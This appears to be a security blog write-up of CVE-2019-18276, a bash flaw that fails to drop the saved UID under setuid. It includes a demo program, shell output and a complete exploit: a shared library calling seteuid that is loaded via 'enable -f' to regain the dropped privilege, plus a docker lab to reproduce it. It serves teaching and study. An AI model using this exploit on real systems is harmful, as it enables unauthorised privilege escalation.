This exploit was initially based on an older vulnerability back in 1999 (suidperl
). Now after 20 years in 2019 we found the same vulnerability in bash (CVE-2019-18276
) was discovered by Ian Pudney.
TL;DR Link to heading
The root cause of this vulnerability is that bash doesn’t handle setuid bit correctly, by default bash will drop the SUID privilege if the Real UID is different from the Effective UID, but it forget to drop also the Saved UID. Before we continue let’s first define :
Real UID vs Effective UID vs Saved UID Link to heading
- Real UserID : It is the owner of the process.
- Effective UserID : By default it is the same as Real UserID, but sometimes it is changed to give more privilege to the user, e.g : setuid bit.
- Saved UserID : Sometimes when a privileged user (generally root) wants to do some non-privileged activities, this can be achieved by temporarily switching to non-privileged account.
setuid() vs seteuid() Link to heading
- setuid() : This function will change both the (
Real UserID
,Effective UserID
andSaved UserID
) of the current process to the specified value. - seteuid() : This function will change the
Effective UserID
to the specified value. The effective user ID may be set to the value of the real user ID or the saved set-user-ID.
Example Link to heading
#include <stdio.h>
#include <stdlib.h>
int main(){
printf("UID = %d , eUID = %d \n",getuid(),geteuid());
system("id");
seteuid(1001);
printf("UID = %d , eUID = %d \n",getuid(),geteuid());
system("id");
}
After compiling this code we need to specify the setuid bit on the binary and run it from a different user.
alice@suidbash:/CVE-2019-18276$ ls -la
total 24
drwxrwxrwt 1 alice alice 4096 Nov 29 09:59 .
drwxr-xr-x 1 alice alice 4096 Nov 28 21:42 ..
-rwsr-xr-x 1 bob bob 8587 Nov 29 09:59 uid
-rwsr-xr-x 1 bob bob 959120 Nov 28 21:49 bash
alice@suidbash:/CVE-2019-18276$ ./uid
UID = 1001 , eUID = 1000
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)
UID = 1001 , eUID = 1001
uid=1001(alice) gid=1001(alice) groups=1001(alice)
As we can see the binary bash is set with the setuid bit, which mean that if alice
user run this binary, she will get automatically bob
’s privilege. However this will not happen with bash, because bash by default drops automatically the privilege if the user didn’t specify the -p
option.
alice@suidbash:/CVE-2019-18276$ ./bash
bash-4.2$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)
alice@suidbash:/CVE-2019-18276$ ./bash -p
bash-4.2$ id
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)
We are not sure if bash uses
seteuid()
function to drop the privilege, but after some testing we figure out that theSaved UID
didn’t change.
The Attack Link to heading
bash doesn’t handle setuid bit correctly, which makes us able to recover the dropped privilege. To exploit this vulnerability we need to call the seteuid()
function in order to recover the Saved UID. However the problem here is that we cannot exploit this by calling a binary to execute seteuid()
, we need to call the seteuid()
in the process runtime.
enable -f Link to heading
enable
is a bash function that can be used to enable and disable builtin shell commands, and with option -f
we can load a shared object.
Exploit Link to heading
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
// gcc -c -fPIC pwn.c -o pwn.o
// gcc -shared -fPIC pwn.o -o libpwn.so
void __attribute__ ((constructor)) initLibrary(void){
seteuid(1000); // The Saved UID that we want to recover
}
After compiling the code all what we need to do is :
alice@suidbash:/CVE-2019-18276$ ./bash
bash-4.2$ id
uid=1001(alice) gid=1001(alice) groups=1001(alice)
bash-4.2$ enable -f ./libpwn.so asd
bash: enable: cannot find asd_struct in shared object ./libpwn.so: ./libpwn.so: undefined symbol: asd_struct
bash-4.2$ id
uid=1001(alice) gid=1001(alice) euid=1000(bob) groups=1000(bob),1001(alice)
bash-4.2$
As you can see we have successfully recovered the dropped privilege.
Download: Link to heading
To repeat all the steps :
amriunix@hunter:~$ docker run -it -u alice -h suidbash amriunix/cve-2019-18276 /bin/bash
alice@suidbash:/$ cd CVE-2019-18276/
alice@suidbash:/CVE-2019-18276$ ls -la
total 980
drwxr-xr-x 2 alice alice 4096 Nov 29 10:57 .
drwxr-xr-x 1 root root 4096 Nov 29 11:22 ..
-rwsr-xr-x 1 bob bob 959120 Nov 28 21:49 bash
-rwxr-xr-x 1 alice alice 7876 Nov 28 21:52 libpwn.so
-rw-r--r-- 1 alice alice 138 Nov 28 21:47 pwn.c
-rw-r--r-- 1 alice alice 1608 Nov 28 21:52 pwn.o
-rwsr-xr-x 1 bob bob 8587 Nov 29 10:57 uid
-rw-r--r-- 1 root root 206 Nov 29 10:57 uid.c
alice@suidbash:/CVE-2019-18276$